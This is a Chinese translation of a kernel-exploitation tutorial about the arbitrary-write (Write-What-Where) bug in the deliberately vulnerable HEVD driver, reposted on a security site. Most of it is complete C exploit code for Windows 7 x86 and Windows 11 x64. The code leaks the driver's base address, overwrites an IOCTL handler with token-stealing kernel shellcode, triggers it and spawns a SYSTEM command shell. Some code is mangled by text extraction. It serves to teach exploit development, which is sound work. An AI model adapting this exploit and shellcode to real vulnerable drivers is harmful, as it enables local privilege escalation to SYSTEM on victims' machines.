Windows 内核任意写入(Write What Where)漏洞介绍

admin 2025年3月18日20:00:55评论8 views字数 20814阅读69分22秒阅读模式

【翻译】0x04 - Introduction to Windows Kernel Write What Where Vulnerabilities


首先,如果你从头开始跟随这个系列,恭喜你成功通过了 Windows 内核中的 Use After Free 漏洞利用!现在我们将在 Windows 7(x86)上利用 Write What Where 漏洞,然后将我们学到的知识应用到 Windows 11(x64)上。

这可以说是最强大的漏洞类型之一——我个人更喜欢称之为"任意写入"(Arbitrary Write),因为在我听说"Write What Where"之前,我的朋友们都是这么称呼它的。不过,"Write What Where"可能是一个更好的术语,因为它与漏洞的实际功能有直接的关联,而"任意写入"的含义则更加广泛。

无论叫什么名字,让我们开始吧。

目录

  • 什么是 Write-What-Where(高级概述)
  • Windows 7(x86)
    • ArbitraryWriteIoctlHandler
    • 使用源代码
    • 漏洞利用
  • Windows 11(x64)
    • 逆向工程
    • 漏洞利用

什么是 Write-What-Where(高级概述)

如果你不熟悉"Write-What-Where"漏洞是什么,让我们先从一个高级概述开始。

用一个非技术性的例子来说,在海绵宝宝的一集中,海绵宝宝和派大星进行了一场雪球大战。下面是该集的一张图片:

Windows 内核任意写入(Write What Where)漏洞介绍

通常,当你制作雪球时,你会将其塑造成球形。然而,如上图所示,派大星实际上制作了立方体。事实上,派大星制作了许多不同的形状:

Windows 内核任意写入(Write What Where)漏洞介绍

虽然派大星并没有赢得雪球大战,但他的行为展示了黑客利用 Write-What-Where 漏洞的特征。在这一集中,派大星发射他想要的任何形状(Write),这些形状由雪制成(What),并以海绵宝宝为目标(Where)。

同样,在安全漏洞的背景下,攻击者可以写入任意数据——这可能是任何东西,如字符串、整数或更复杂的对象。就像派大星一样,攻击者也可以选择将这些数据发送到哪里,针对内存的特定部分。

这种同时控制数据及其目的地的能力使"Write-What-Where"漏洞非常危险,因为它们可能导致内存损坏、权限提升,甚至任意代码执行。

Windows 7 (x86)

与前几个教程一样,我们将从 Windows 7(x86)开始。由于利用的复杂性,我们将在本教程中包含两种漏洞利用方法!

那么,启动你的 Windows 7(x86)虚拟机吧!

使用源代码

与 UaF 一样,让我们先了解一下情况 ( ✧≖ ͜ʖ≖)

$ find . -name "ArbitraryWrite*" 
./Driver/HEVD/ArbitraryWrite.h
./Driver/HEVD/ArbitraryWrite.c

与之前几个漏洞不同,我们这次不会处理很多"Handler"函数,我们主要关注的是_ArbitraryWriteIoctlHandler_。

ArbitraryWriteIoctlHandler()

ArbitraryWriteIoctlHandler

查看这个处理程序(ArbitraryWrite.c),我们可以看到我们的用户输入最终将被传递到 TriggerArbitraryWrite() 函数中。

134 NTSTATUS
135 ArbitraryWriteIoctlHandler(
136     _In_ PIRP Irp,
137     _In_ PIO_STACK_LOCATION IrpSp
138 )
139 {
140     NTSTATUS Status = STATUS_UNSUCCESSFUL;
141     PWRITE_WHAT_WHERE UserWriteWhatWhere = NULL;
142
143     UNREFERENCED_PARAMETER(Irp);
144     PAGED_CODE();
145
146     UserWriteWhatWhere = (PWRITE_WHAT_WHERE)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
147
148     if (UserWriteWhatWhere)
149     {
150         Status = TriggerArbitraryWrite(UserWriteWhatWhere);
151     }
152
153     return Status;
154 }

然而,我们的输入将被转换为一个PWRITE_WHAT_WHERE对象(技术上来说是一个指向 WRITE_WHAT_WHERE 结构的指针)。

让我们看一下这个结构(ArbitraryWrite.h)。

 62 typedef struct _WRITE_WHAT_WHERE
 63 {

 64     PULONG_PTR What;
 65     PULONG_PTR Where;
 66 } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

我们看到两个指向LONG整数的指针,没什么特别复杂的。

在理解了结构布局后,让我们看一下接收我们输入(以这种结构类型)的_TriggerArbitraryWrite()_函数。

 63 NTSTATUS
64 TriggerArbitraryWrite(
65     _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
66 )
67 {
68     PULONG_PTR What = NULL;
69     PULONG_PTR Where = NULL;
70     NTSTATUS Status = STATUS_SUCCESS;
71
72     PAGED_CODE();
73
74     __try
75     {
76         //
77         // Verify if the buffer resides in user mode
78         //
79
80         ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
81
82         What = UserWriteWhatWhere->What;
83         Where = UserWriteWhatWhere->Where;
84
85         DbgPrint("[+] UserWriteWhatWhere: 0x%pn", UserWriteWhatWhere);
86         DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%Xn"sizeof(WRITE_WHAT_WHERE));
87         DbgPrint("[+] UserWriteWhatWhere->What: 0x%pn", What);
88         DbgPrint("[+] UserWriteWhatWhere->Where: 0x%pn", Where);
89
90#ifdef SECURE
91         //
92         // Secure Note: This is secure because the developer is properly validating if address
93         // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
94         // ProbeForWrite() routine before performing the write operation
95         //
96         
97         ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
98         ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
99         
100         *(Where) = *(What);
101#else   
102         DbgPrint("[+] Triggering Arbitrary Writen");
103         
104         //
105         // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
106         // because the developer is writing the value pointed by 'What' to memory location
107         // pointed by 'Where' without properly validating if the values pointed by 'Where'
108         // and 'What' resides in User mode
109         //
110
111         *(Where) = *(What);
112#endif
113     }
114     __except (EXCEPTION_EXECUTE_HANDLER)
115     {
116         Status = GetExceptionCode();
117         DbgPrint("[-] Exception Code: 0x%Xn", Status);
118     }
119
120     //
121     // There is one more hidden vulnerability. Find it out.
122     //
123
124     return Status;
125 }

与所有代码块一样,让我们逐段分析这部分内容。

 80         ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
81
82         What = UserWriteWhatWhere->What;
83         Where = UserWriteWhatWhere->Where;
84
85         DbgPrint("[+] UserWriteWhatWhere: 0x%pn", UserWriteWhatWhere);
86         DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%Xn"sizeof(WRITE_WHAT_WHERE));
87         DbgPrint("[+] UserWriteWhatWhere->What: 0x%pn", What);
88         DbgPrint("[+] UserWriteWhatWhere->Where: 0x%pn", Where);

首先,我们看到类型为PULONG_PTR的局部变量是从我们的结构体中赋值的。

接下来,由于我们针对的是有漏洞的驱动程序,所以代码会进入#else语句。

111         *(Where) = *(What);

在这里我们可以看到,存储在我们的 What 指针中的任何内容都将被写入到 Where 指针指向的位置。更具体地说,我们正在解引用 Where 指针,并将 What 指针所指向的内存位置中存储的值赋给它。

理论上,我们可以将任何内容写入到任何地方。这意味着我们不必过于担心在哪里存储我们的 shellcode,因为我们在内核上下文中运行,可以访问整个操作系统。

我们的方法将是泄露 HEVD 的基地址,并确定一个可以覆盖的函数来执行我们的 shellcode。一旦我们的 shellcode 放置在该函数中,我们就可以简单地调用它。此外,我们不必担心 SMEP,因为我们将执行一个本应在内核空间中的函数。

这看起来足够简单...所以让我们开始利用它吧!

漏洞利用

看到这个漏洞相当基础,我决定立即编写一个概念验证(PoC)。由于我们可以写入任何地方,我们可以简单地覆盖任何函数!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define ARW_HELPER_OBJECTS 3
#define MAX_OBJECT_COUNT 65535

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)

/* Structure used by Write-What-Where */
typedefstruct _WRITE_WHAT_WHERE
{

  PULONG_PTR What;
  PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

/* typdef signature for ZwQuerySystemInformation */
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
                  SYSTEM_INFORMATION_CLASS SystemInformationClass,
                  PVOID                    SystemInformation,
                  ULONG                    SystemInformationLength,
                  PULONG                   ReturnLength
)
;

/* Structures used by KernelGetModuleBase */
typedefstruct _SYSTEM_MODULE_ENTRY
{

  HANDLE Section;
  PVOID MappedBase;
  PVOID ImageBase;
  ULONG ImageSize;
  ULONG Flags;
  USHORT LoadOrderIndex;
  USHORT InitOrderIndex;
  USHORT LoadCount;
  USHORT OffsetToFileName;
  UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;

typedefstruct _SYSTEM_MODULE_INFORMATION
{

  ULONG Count;
  SYSTEM_MODULE_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

/* KernelGetModuleBase():
     Function used to obtain kernel module address */

PVOID KernelGetModuleBase(PCHAR pcModuleName)
{
  HANDLE hModule                                    = NULL;
  PVOID pSystemInfo                                 = NULL;
  PVOID pModule                                     = NULL;
  ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
  NTSTATUS status                                   = 0xc000009a// STATUS_INSUFFICIENT_RESOURCES
  SYSTEM_INFORMATION_CLASS SystemModuleInformation  = 0x0B;
  ULONG SystemInfoSize                              = 0;

  hModule = LoadLibraryA("ntdll.dll");
if (hModule == NULL)
  {
    printf("[-] Failed to load ntdll.dlln");
    returnNULL;
  }

  ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation");
if (ZwQuerySystemInformation == NULL)
  {
    printf("[-] Failed to find ZwQuerySystemInformation within ntdll.dll");
    CloseHandle(hModule);
    returnNULL;
  }

/* Obtain the size of the requested information */
  status = ZwQuerySystemInformation(SystemModuleInformation,
                                    NULL,
                                    SystemInfoSize,
                                    &SystemInfoSize);

if (SystemInfoSize == 0) {
    printf("[*] Failed to get size of SystemInformationn");
    CloseHandle(hModule);
    returnNULL;
  }

  pSystemInfo = (PSYSTEM_MODULE_INFORMATION)malloc(SystemInfoSize);
if (pSystemInfo == NULL)
  {
    printf("[-] Failed to allocate buffer for SystemInformationn");
    CloseHandle(hModule);
    returnNULL;
  }
memset(pSystemInfo, '', SystemInfoSize);

/* Obtain the SystemModuleInformation */
  status = ZwQuerySystemInformation(SystemModuleInformation,
                                    pSystemInfo,
                                    SystemInfoSize,
                                    &SystemInfoSize);

  PSYSTEM_MODULE_ENTRY pSysModule = ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Module;
for (unsignedlong i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Count; i++)
  {
    if (StrStrA(pSysModule[i].FullPathName, pcModuleName) != NULL)
    {
      pModule = pSysModule[i].ImageBase;
    }
  }

if (hModule != NULL)
  {
    CloseHandle(hModule);
  }

return pModule;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */

int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username checkn");
    return-1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
free(cUsername);

return (win == 0) ? win : -1;
}

/* WriteBytes():
     This function triggers the Write-What-Where vulnerability */

void WriteBytes(HANDLE hHEVD, ULONG ulWhat, ULONG ulWhere)
{
  DWORD dwBytesReturned;
  WRITE_WHAT_WHERE www = { 0 };

  www.Where = (PULONG)ulWhere;
  www.What = &ulWhat;
printf("t[*] Writing 0x%p to 0x%pn", *www.What, www.Where);

  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_ARBITRARY_WRITE,
                  &www,
                  sizeof(WRITE_WHAT_WHERE),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);
return;
}

/* Exploit():
     Arbitrary write */

int Exploit(HANDLE hHEVD)
{
  DWORD i                 = 0;
  DWORD dwShellcodeLength = 0;
  DWORD dwBytesReturned   = 0;
  ULONG target            = 0;
  ULONG ulRawBytes        = 0;
  PVOID pHEVDBase         = NULL;
  CHAR cRawBytes[60]      = { 0 };

  CHAR cShellcode[]=
"x90x90x90"                 // nops

// sickle -p windows/x86/kernel_token_stealer -f c -m pinpoint
"x60"                         // pushal 
"x31xc0"                     // xor eax, eax
"x64x8bx80x24x01x00x00"// mov eax, dword ptr fs:[eax + 0x124]
"x8bx40x50"                 // mov eax, dword ptr [eax + 0x50]
"x89xc1"                     // mov ecx, eax
"xbax04x00x00x00"         // mov edx, 4
"x8bx80xb8x00x00x00"     // mov eax, dword ptr [eax + 0xb8]
"x2dxb8x00x00x00"         // sub eax, 0xb8
"x39x90xb4x00x00x00"     // cmp dword ptr [eax + 0xb4], edx
"x75xed"                     // jne 0x1014
"x8bx90xf8x00x00x00"     // mov edx, dword ptr [eax + 0xf8]
"x89x91xf8x00x00x00"     // mov dword ptr [ecx + 0xf8], edx
"x61"                         // popal

/* return code (sickle -a x86 -m asm_shell) */
"x31xc0"                     // xor eax, eax
"xc2x08x00";                // ret 0x8

  dwShellcodeLength = 60;
if ((dwShellcodeLength % 4) != 0)
  {
    printf("[-] Shellcode must by divisible by 4n");
    return-1;
  }

  pHEVDBase = KernelGetModuleBase("HEVD");
if (pHEVDBase == NULL)
  {
    printf("[-] Failed to obtain the base address of HEVDn");
    return-1;
  }
printf("[*] Obtained HEVD base address: 0x%pn", pHEVDBase);

  target = (ULONG)pHEVDBase + 0x448f2;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}n");

/* This is a quick for loop I whipped up to write our shellcode. The way this works is the buffer
     is converted into a little endian ASCII address (e.g 0x41424344 -> 0x44434241) then we convert
     the ASCII address to an unsigned long integer (4 bytes) to be written via the Write-What-Where
     vulnerability. Each iteration we increment the target address by 4 (32bit address) to point to
     the next address, we also increment the pointer to the shellcode array by 4 (we can only write
     4 bytes at a time). */

for (i = 0; i < dwShellcodeLength; i += 4)
  {
    sprintf(cRawBytes, "0x%02x%02x%02x%02x", ((uint32_t)cShellcode[i+3] & 0xff),
                                             ((uint32_t)cShellcode[i+2] & 0xff),
                                             ((uint32_t)cShellcode[i+1] & 0xff),
                                             ((uint32_t)cShellcode[i+0] & 0xff));

    ulRawBytes = strtoul(cRawBytes, NULL16);
    WriteBytes(hHEVD, ulRawBytes, target);
    memset(cRawBytes, ''60);
    target += 4;
  }

printf("[+] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxn");
  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX,
                  NULL,
                  0,
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
    return-1;
  }

if (Exploit(hHEVD) == 0) {
    printf("[+] Exploitation successful, enjoy your shell!nn");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run againn");
    return-1;
  }

if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

成功利用的演示如下 Windows 内核任意写入(Write What Where)漏洞介绍

很好,你成功利用了 Write-What-Where 漏洞!作为一个挑战,在阅读下一部分之前,请尝试对任何版本的 Windows 11(x64)进行漏洞利用。

如果你成功获得了代码执行权限,问问自己主要的变化是什么?有变化吗?即使你在下一节之前没有成功,我相信你也会获得一套宝贵的技能,以进一步提升你在漏洞利用过程中的方法 Windows 内核任意写入(Write What Where)漏洞介绍

Windows 11 (x64)

在 Windows 7(x86)上相当快速地完成了这个挑战后,让我们尝试在 Windows 11(x64)上进行漏洞利用。

逆向工程

在 Ghidra 中查看有漏洞的函数,使用伪代码很容易发现任意写入点。

Windows 内核任意写入(Write What Where)漏洞介绍

接下来我们需要做的是确定_WRITE_WHAT_WHERE结构的成员是什么,在这种情况下很容易识别,因为我们看到被访问的成员被存储在无符号长指针中。不过,由于我们有符号,我们可以在Data Type Manager中轻松定位它以确保无误。

Windows 内核任意写入(Write What Where)漏洞介绍

了解了这些信息,我们可以开始生成一个概念验证(PoC)来与这个函数交互。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define ARBITRARY_WRITE 0x22200b

/* Structure used by Write-What-Where */
typedefstruct _WRITE_WHAT_WHERE
{

uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024]    = { 0 };
  LPVOID lpvTargetDriver = NULL;
  LPVOID *lpvDrivers     = NULL;
  DWORD dwCB             = 0;
  DWORD dwDrivers        = 0;
  DWORD i                = 0;

  EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
    returnNULL;

  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
    returnNULL;

if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
  {
    dwDrivers = dwCB / sizeof(LPVOID);
    for (i = 0; i < dwDrivers; i++)
      if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
        if (StrStrA(pcDriver, pKernelModule) != NULL)
          lpvTargetDriver = lpvDrivers[i];
  }

free(lpvDrivers);

return lpvTargetDriver;
}

void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
  DWORD dwBytesReturned = 0;
  WRITE_WHAT_WHERE www = { 0 };

  www.ullpWhere = (uint64_t *)ullWhere;
  www.ullpWhat = &ullWhat;
printf("t[*] Writing 0x%p to 0x%pn", *www.ullpWhat, www.ullpWhere);

  DeviceIoControl(hHEVD,
                  ARBITRARY_WRITE,
                  &www,
                  sizeof(WRITE_WHAT_WHERE),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

return;
}

int Exploit(HANDLE hHEVD)
{
  LPVOID pHEVDBase         = NULL;
  DWORD i                  = 0;
  DWORD dwShellcodeLength  = 0;
  DWORD dwBytesReturned    = 0;
uint64_t ullTarget       = 0;
uint64_t ullRawBytes     = 0;

  CHAR cRawBytes[60] = { 0 };
  CHAR shellcode[]="x90x90x90x90x90x90x90x42";

  dwShellcodeLength = 8;
if ((dwShellcodeLength % 8) != 0)
  {
    printf("[-] Shellcode must be divisible by 8n");
    return-1;
  }

  pHEVDBase = GetKernelModuleBase("HEVD");
if (pHEVDBase == NULL)
  {
    printf("[-] Failed to obtain the base address of HEVDn");
    return-1;
  }
printf("[*] Obtained the base address of HEVD: 0x%pn", pHEVDBase);

  ullTarget = (uint64_t)pHEVDBase + 0x85b14;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}n");

for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
  {
    sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
                                                             ((uint32_t)shellcode[i+6] & 0xff),
                                                             ((uint32_t)shellcode[i+5] & 0xff),
                                                             ((uint32_t)shellcode[i+4] & 0xff),
                                                             ((uint32_t)shellcode[i+3] & 0xff),
                                                             ((uint32_t)shellcode[i+2] & 0xff),
                                                             ((uint32_t)shellcode[i+1] & 0xff),
                                                             ((uint32_t)shellcode[i+0] & 0xff));

    ullRawBytes = strtoull(cRawBytes, NULL16);
    WriteBytes(hHEVD, ullRawBytes, ullTarget);
    memset(cRawBytes, ''60);
    ullTarget += sizeof(uint64_t);
  }


}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
    return-1;
  }

  Exploit(hHEVD);

if (hHEVD != NULL)
    CloseHandle(hHEVD);

return0;
}

让我们测试一下。

Windows 内核任意写入(Write What Where)漏洞介绍

一旦发送,我们可以看到我们已经成功触发了任意写入 Windows 内核任意写入(Write What Where)漏洞介绍

Windows 内核任意写入(Write What Where)漏洞介绍

漏洞利用

经过一些调整,我成功编写了一个完全可用的漏洞利用程序,如下所示:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define ARBITRARY_WRITE 0x22200b
#define TARGET_FUNCTION 0x22206f

/* Structure used by Write-What-Where */
typedefstruct _WRITE_WHAT_WHERE
{

uint64_t *ullpWhat;
uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

/* GetKernelModuleBase():
     Function used to obtain kernel module address */

LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024]    = { 0 };
  LPVOID lpvTargetDriver = NULL;
  LPVOID *lpvDrivers     = NULL;
  DWORD dwCB             = 0;
  DWORD dwDrivers        = 0;
  DWORD i                = 0;

  EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
    returnNULL;

  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
    returnNULL;

if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
  {
    dwDrivers = dwCB / sizeof(LPVOID);
    for (i = 0; i < dwDrivers; i++)
      if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
        if (StrStrA(pcDriver, pKernelModule) != NULL)
          lpvTargetDriver = lpvDrivers[i];
  }

free(lpvDrivers);

return lpvTargetDriver;
}

/* WriteBytes():
     This function triggers the Write-What-Where vulnerability */

void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
  DWORD dwBytesReturned = 0;
  WRITE_WHAT_WHERE www = { 0 };

  www.ullpWhere = (uint64_t *)ullWhere;
  www.ullpWhat = &ullWhat;
printf("t[*] Writing 0x%p to 0x%pn", *www.ullpWhat, www.ullpWhere);

  DeviceIoControl(hHEVD,
                  ARBITRARY_WRITE,
                  &www,
                  sizeof(WRITE_WHAT_WHERE),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

return;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */

int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username checkn");
    return-1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
free(cUsername);

return (win == 0) ? win : -1;
}

/* Exploit():
     Arbitrary Write */

int Exploit(HANDLE hHEVD)
{
  LPVOID pHEVDBase         = NULL;
  DWORD i                  = 0;
  DWORD dwShellcodeLength  = 0;
  DWORD dwBytesReturned    = 0;
uint64_t ullTarget       = 0;
uint64_t ullRawBytes     = 0;

  CHAR cRawBytes[60] = { 0 };
  CHAR shellcode[]=
/* ALIGNMENT */
"x90x90"

/* python3 sickle.py -p windows/x64/kernel_token_stealer -f c -m pinpoint (58 bytes) */
"x65x48xa1x88x01x00x00x00x00x00x00"// movabs rax, qword ptr gs:[0x188]
"x48x8bx80xb8x00x00x00"                 // mov rax, qword ptr [rax + 0xb8]
"x48x89xc1"                                 // mov rcx, rax
"xb2x04"                                     // mov dl, 4
"x48x8bx80x48x04x00x00"                 // mov rax, qword ptr [rax + 0x448]
"x48x2dx48x04x00x00"                     // sub rax, 0x448
"x38x90x40x04x00x00"                     // cmp byte ptr [rax + 0x440], dl
"x75xeb"                                     // jne 0x1017
"x48x8bx90xb8x04x00x00"                 // mov rdx, qword ptr [rax + 0x4b8]
"x48x89x91xb8x04x00x00"                 // mov qword ptr [rcx + 0x4b8], rdx

/* KERNEL RECOVERY */
"x48x31xc0"                         /* xor rax, rax */
"xc3";                                /* ret */                            

  dwShellcodeLength = 64;
if ((dwShellcodeLength % 8) != 0)
  {
    printf("[-] Shellcode must be divisible by 8n");
    return-1;
  }

  pHEVDBase = GetKernelModuleBase("HEVD");
if (pHEVDBase == NULL)
  {
    printf("[-] Failed to obtain the base address of HEVDn");
    return-1;
  }
printf("[*] Obtained the base address of HEVD: 0x%pn", pHEVDBase);

  ullTarget = (uint64_t)pHEVDBase + 0x85b14;
printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}n");

/* Same operation as the Windows 7 exploit just ported to work on 64bit addressing */
for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
  {
    sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
                                                             ((uint32_t)shellcode[i+6] & 0xff),
                                                             ((uint32_t)shellcode[i+5] & 0xff),
                                                             ((uint32_t)shellcode[i+4] & 0xff),
                                                             ((uint32_t)shellcode[i+3] & 0xff),
                                                             ((uint32_t)shellcode[i+2] & 0xff),
                                                             ((uint32_t)shellcode[i+1] & 0xff),
                                                             ((uint32_t)shellcode[i+0] & 0xff));

    ullRawBytes = strtoull(cRawBytes, NULL16);
    WriteBytes(hHEVD, ullRawBytes, ullTarget);
    memset(cRawBytes, ''60);
    ullTarget += sizeof(uint64_t);
  }

printf("[*] Shellcode buffer written!!n");
printf("[*] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandlern");
  DeviceIoControl(hHEVD,
                  TARGET_FUNCTION,
                  NULL,
                  0x00,
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");
    return-1;
  }

if (Exploit(hHEVD) == 0) {
    printf("[+] Exploitation successful, enjoy the shell!!nn");
    system("cmd.exe");
  } else {
    printf("[*] Exploitation failed, run againn");
  }

if (hHEVD != NULL)
    CloseHandle(hHEVD);

return0;
}

一旦发送,我们就成功实现了代码执行!


原文始发于微信公众号(securitainment):Windows 内核任意写入(Write What Where)漏洞介绍

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日20:00:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows 内核任意写入(Write What Where)漏洞介绍https://cn-sec.com/archives/3853995.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息